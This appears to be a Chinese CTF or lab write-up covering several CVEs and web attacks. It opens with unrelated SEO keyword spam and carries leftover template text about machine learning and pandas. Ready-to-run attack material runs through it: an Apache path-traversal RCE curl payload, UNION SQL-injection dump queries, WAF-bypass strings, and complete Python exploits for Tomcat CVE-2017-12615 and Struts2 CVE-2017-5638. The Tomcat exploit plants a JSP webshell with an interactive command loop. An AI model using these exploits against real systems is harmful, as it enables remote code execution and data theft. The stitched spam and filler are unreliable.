河南省建设监理协会官方网站,电商代运营一般收多少服务费,晋城网站建设费用,手机网站模板制作提示#xff1a;文章写完后#xff0c;目录可以自动生成#xff0c;如何生成可参考右边的帮助文档 目录
前言
一、CVE-2009-4194
二、CVE-2021-42013
二、CVE-2021-31760 三、RSA - 低加密指数攻击
四、CVE-2021-42574
五、忘记加“盐”#xff1a;加密结果强度不够吗… 提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档 目录
前言
一、CVE-2009-4194
二、CVE-2021-42013
二、CVE-2021-31760 三、RSA - 低加密指数攻击
四、CVE-2021-42574
五、忘记加“盐”加密结果强度不够吗
六、reDos
七、安全狗
八、命令注入
九、CVE-2017-12615
十、CVE-2017-5638
总结 前言
提示这里可以添加本文要记录的大概内容
例如随着人工智能的不断发展机器学习这门技术也越来越重要很多人都开启了学习机器学习本文就介绍了机器学习的基础内容。 提示以下是本篇文章正文内容下面案例可供参考
一、CVE-2009-4194
关于FTP的漏洞FTP服务器中允许使用..遍历文件和删除任意文件没连上它的FTP服务器。
二、CVE-2021-42013
对CVE-2021-41773的修复但是修复并不完全CVE-2021-41773因为会对请求的路径URL进行解码导致.%2e会变成../导致了路径穿越漏洞在CVE-2021-41773通过添加了.%2e和%2e%2e的校验弥补前面的漏洞但是依旧会对路径进行URL的解码因此可以通过两次编码绕过对%2e再进行一次URL编码绕过。 payload:curl -v --data echo;执行的命令 http://52.81.18.254:80/cgi-bin/icons/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/bin/bash 通过向bin/bash命令传送数据输出返回的详细信息。 二、CVE-2021-31760
webmin主要是一个web页面的系统管理工具通过web页面管理linux系统上的文件。
CSRF跨站请求伪造主要是管理员root在登录了页面的情况下未退出点开了攻击者构造的页面导致了shell的执行。 POC下载https://github.com/electronicbots/CVE-2021-31760由于没有公网的Linux内网自己搭建了webmin。 启动了POC后将生成的CSRF_POC.html页面上传到目标机管理员点开了伪造的页面后会收到反弹shell点开页面后会跳转到/proc/run.cgi/收到shell反弹。 POC分析 POC中有1-5个选项选择不同的反弹shell的方式根据目标机情况选定一般选择bash。根据我们填入的IP生成反弹shell语句填入构造的POST请求页面中向目标机的/proc/run.cgi页面提交数据导致了Shell的反弹/proc/run.cgi是webmin中的一个能运行进程或命令的页面。假如管理员登录了未退出则导致了CSRF。 三、RSA - 低加密指数攻击
ssh直接登录发现有个zip文件解压后有公钥和py文件先解析公钥
from Crypto.PublicKey import RSA
from base64 import b64decode
public_keyMIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEAsL7l4nlpjQC0kzVcYY/Ix9fQO4LkCZUcGC85je4xBFgOe6cNODrlMRR1ZW6Klk04DLFX9IyVGtmXbCxIspA5CnCRibcZpPDXRuL2BpuvEc69ZQ8UuTyXc1L9E7Huptbh2ndVAqv/idOos2Ff0NtJuIqXa8IFaEiShOGB9vEeJwiRyOAAXutI442MDmkWEcPF0kQG8KZSdOk9AONRjk4hRV5x1JaaZhPFbVmfzQgm3DrJhE2lHhIVJ3/8AYBiDr9k2/kEeAG5Ok9GgCw/qVBu/yMUYbLYiBQOpSyQTEQ1kDHfqVLoyIPyPTMbOdxUeKbPgZXjEeL0b6BFieaGX9vgG24szYJsrST1MkzN7G6P6tLCFQBoYCyNzcWUAsyslCS3kASMzdkycGgJXvoBC38ZbHS6jDexKPnhQRdRYz94t7nlb3H3ehtNqtP8VLXn75NdmnL7F2dZdlUitLvALjFNXAa2TVBUt7CWxgEjbmzPRbXmEcgF0zXbqww10ibMII2M5HNro5oDVEJvrgBsfUtUmfc5w4hPUf3f30qXlLzDhVXETdJ5sjvQh26Jjr/aHOc4A7YD9ACLvktNIj3betive976mAm8iodJaoqktEkQUqAIf4MF0uYAa7X6114YapRqFygHcPEkP0OHRGzM6yIiqWXMMLOSkCAQM
keyDER b64decode(public_key)
print(keyDER)
keyPub RSA.importKey(keyDER)
print(keyPub.n,keyPub.e) #读取到e为3,和n解析到e3很小因为e很小 mc^emod(n)因为完全可以在知道c的情况下通过开三次方根(ck*n)的形式爆破m。这里爆破到k为118719488 import os, time
import gmpy2
from Crypto.PublicKey.RSA import RsaKeydef main():start_time 0c_time 0n 721059527572145959497866070657244746540818298735241721382435892767279354577831824618770455583435147844630635953460258329387406192598509097375098935299515255208445013180388186216473913754107215551156731413550416051385656895153798495423962750773689964815342291306243827028882267935999927349370340823239030087548468521168519725061290069094595524921012137038227208900579645041589141405674545883465785472925889948455146449614776287566375730215127615312001651111977914327170496695481547965108836595145998046638495232893568434202438172004892803105333017726958632541897741726563336871452837359564555756166187509015523771005760534037559648199915268764998183410394036820824721644946933656264441126738697663216138624571035323231711566263476403936148535644088575960271071967700560360448191493328793704136810376879662623765917690163480410089565377528947433177653458111431603202302962218312038109342064899388130688144810901340648989107010954279327738671710906115976561154622625847780945535284376248111949506936128229494332806622251145622565895781480383025403043645862516504771643210000415216199272423542871886181906457361118669629044165861299560814450960273479900717138570739601887771447529543568822851100841225147694940195217298482866496536787241k 0c_path os.getcwd()fname c_path /flag.enc # 读取私钥print(fname) # 输出路径f open(fname, rb)c f.read()c_num int.from_bytes(c, byteorderbig) # big意思是顺着,little为逆序,将字节流c转为整数mod_num c_num % n # 整数c_num整除n modflagmod(n)print(n str(n)) # 输出nprint(mod str(mod_num)) # 输出mod_num 即整除n后的数,简单来说就是cstart_time int(time.time()) # 记录开始当前时间,是个整数,如1665901917# 开始低指数e的爆破while True:c_time int(time.time()) # 记录当前时间time_pass c_time - start_time # 时间差if (c_time - start_time) 10: # 每过十秒输出一次kprint(current k: str(k))start_time c_time # 把记录的当前时间转为开始时间y k * n mod_num #root_num, status gmpy2.iroot(y, 3) # y开三次方根 e3,if status 1: # 开根成功则代表爆破成功breakelse: # 不成功则k1k k 1print(plain_text str(root_num)) # 输出 开3次方根的值即明文mif __name__ __main__:main()这里即使e很小但是爆破到的k也达到了亿级别假如k从1开始爆破可能速度根本不够感觉得需要通过利用多进程来加快爆破的速度。 四、CVE-2021-42574
cve-2021-42574主要是指编码引起的错误 比如说Unicode为了更好的兼容不同的语言引入了双向的显示顺序一般是从左到右也有从右到左垂直书写等等。这种特性使出现双向文本时由于顺序不确定出现了歧义从而被利用引入定向格式符即可解决。
靶机的80端口 ?php
header(Content-type: text/html; charsetgbk);
echo get value through str parameter;
echo /br;
$str isset($_GET[str]) ? $_GET[str] :;
echo $_GET[str] ;
echo $str;echo /br;
$uaddslashes($str) ;
echo echo addslashes($str) ;
echo $u;
echo /br;$sql select * from user where user$u;
echo method : select * from user where useraddslashes($str);
echo /br;
echo p colorredreal : $sql /p;
echo /br;
? 用的是gbk编码很明显是宽字节的问题 虽然反斜杠会转移引号防止注入但是gbk编码中斜杠跟一些编码如%df组合的时会变成繁体字如連编码问题导致了漏洞。 又如靶机的22端口
int main() {bool isAdmin false;/*RLO } LRIif (isAdmin)PDI LRI begin admins only */printf(You are an admin.\n);/* end admins only RLO { LRI*/return 0;
}假如编译器看不到Unicode的隐藏字符那么代码看起来是这样:
int main() {bool isAdmin false;if (isAdmin)printf(You are an admin.\n);return 0;
}五、忘记加“盐”加密结果强度不够吗
通过sql注入可以注出用户名和密码。
mituan union select 1,2#
mituan union select database(),2# 数据库ctf
mituan union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()# 表emails,referers,uagents,users
mituan union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 字段id,password,salary,username
mituan union select 1,group_concat(password,salary,username) from users# 爆出2b161cb042f799e5f43ae6efc9e57926success!Dumb 一般linux用户的密码存放在shadow文件中用的hash加密salt没加或者salt太简单容易被爆破解开。 六、reDos 其实这里只是像告诉我们关于正则表达式的拒绝服务攻击假如使用正则表达式时存在缺陷就可能构造字符串大量消耗系统资源造成服务中断或者绕过某些东西。 知识关于正则表达式的引擎
DFA: 从起始状态开始一个字符一个字符地读取输入串并根据正则来一步步确定至下一个转移状态直到匹配不上或走完整个输入比如说文本/aiwinstronger/正则表达式是/aiwin|aiwinstrong/第一个正则表达式时会匹配完aiwin然后放掉第一个正则表达式开始第二个子正则表达式直到子正则表达式吃完匹配到aiwinstronger。 NFA从起始状态开始一个字符一个字符地读取输入串并与正则表达式进行匹配如果匹配不上则进行回溯尝试其他状态比如说文本/aiwinstronger/正则表达式是/aiwin|aiwinstrong/进行第一个正则表达式时匹配到s字符发现匹配不上了于是吐出s字符不再进行第二个子表达式直接就匹配到结果为aiwin。 由于NFA的执行过程存在回溯所以其性能会劣于DFA因此ReDos常发生于NFA引擎但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎其中也包括PHP使用的PCRE库。
如[NISACTF 2022]middlerce
?php
include check.php;
if (isset($_REQUEST[letter])){$txw4ever $_REQUEST[letter];if (preg_match(/^.*([\w]|\^|\*|\(|\~|\|\?|\/| |\||\|!|\|\|\{|\x09|\x0a|\[).*$/m,$txw4ever)){die(再加把油喔);}else{$command json_decode($txw4ever,true)[cmd];checkdata($command);eval($command);}
}
else{highlight_file(__FILE__);
}
? 题中开始就.*贪婪匹配后再匹配括号里的字符最后再使用.*贪婪匹配掉剩余的所有字符串关键在于PHP的PCRE使用的是NFA引擎存在回溯假若PHP设置中没有限制回溯次数回溯超过100万次后就会直接返回false因此可以生成超过100万个不匹配的字符正则表达式中的.*会匹配掉整个字符串但是此时不对因为表达式显示.*后面还会有括号里面的字符因此会进行回溯吐出字符直至匹配到括号内的字符那么回溯次数上限就绕过了限制。 七、安全狗 1 order /*//--/*/ by 2 # 2个字段
-1 union /*//------/*/select 1,2 #
-1 union /*//------/*/select 1,database/*//------/*/() # 数据库dvwa剩下的没绕出来真没绕明白要是有绕出来的求私聊八、命令注入 用|、、都可以应该是没有进行过滤直接system()但是第一个命令直接输出字符串。 九、CVE-2017-12615 漏洞影响的版本号为7.0.0-7.0.79主要是因为配置不当造成的conf/web.xml中readonly的值被设置成了false导致PUT方法可用虽然Tomcat会校验上传文件拒绝.jsp文件的后缀但是linux平台下可以使用/绕过Windows平台下可以用::$DATA绕过。 EXP如下
import requests
import ossession requests.Session()
# 写入shell.jsp文件中
url http://39fa04c7e3a447cd8981f40ce6e1f08b.app.mituan.zone:8080/shell.jsp
headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip, deflate,Content-Type: application/x-www-form-urlencoded}# 通过%%表示将包裹的内容写入jsp文件中,获取pwd参数等于aiwin并且获取i参数,将i的值使用exec()进行命令执行,并通过javaIO流输入b中,输出到页面
body
%if(aiwin.equals(request.getParameter(pwd))){java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream();int a -1;byte[] b new byte[2048];out.print(pre);while((ain.read(b))!-1){out.println(new String(b));}out.print(/pre);}
%# 记得/ url/shell.jsp/ 绕过jsp的检测
resp session.put(url /, headersheaders, databody)
if resp.status_code 201 or resp.status_code 204:print(上传成功)
else:print(上传失败)exit()
while True:command input(输入要执行的命令)command_url url f?pwdaiwini{command}command_resp session.get(command_url, headersheaders)print(得到结果:, command_resp.text)十、CVE-2017-5638 Struts2远程代码执行漏洞漏洞源于Content-Type头被注入了OGNL语言然后对错误信息处理时不恰当导致的漏洞大概就是上传非法的Content-Type时commons-fileupload组件抛出了异常异常信息中有而已制作的字符串并且异常信息的内容被解析导致了命令执行。 if (request instanceof StrutsRequestWrapper) { return request;
}
String content_type request.getContentType();
if (content_type ! null content_type.contains(multipart/form-data))
{ MultiPartRequest mpr getMultiPartRequest();LocaleProvider provider getContainer().getInstance(LocaleProvider.class);request new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
} else {request new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
对content_type进行判断假如是post表单则默认返回JakartaMultiPartRequest类然后进入解析Content-Type时会进入LocalizedTextUtil.findText就会处理error信息造成了命令执行。 EXP如下
import requests
from urllib3 import encode_multipart_formdatadef poc(url, command):headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip,deflate,Cookie: JSESSIONID F9D372CF95E792ECDDB1EE55AC5D9EC6,Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). f(#cmd{command}). (#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}},}f open(1.txt, rb).read()file {upload: (1.txt, f),caption: Hello}encode_data encode_multipart_formdata(file)resp requests.post(url, headersheaders, dataencode_data[0])print(resp.text)if __name__ __main__:url http://55177b366f014befa09d11bf36d060be.app.mituan.zone:8080/fileupload/upload.actioncommand ls /poc(url, command)总结
提示这里对文章进行总结 例如以上就是今天要讲的内容本文仅仅简单介绍了pandas的使用而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。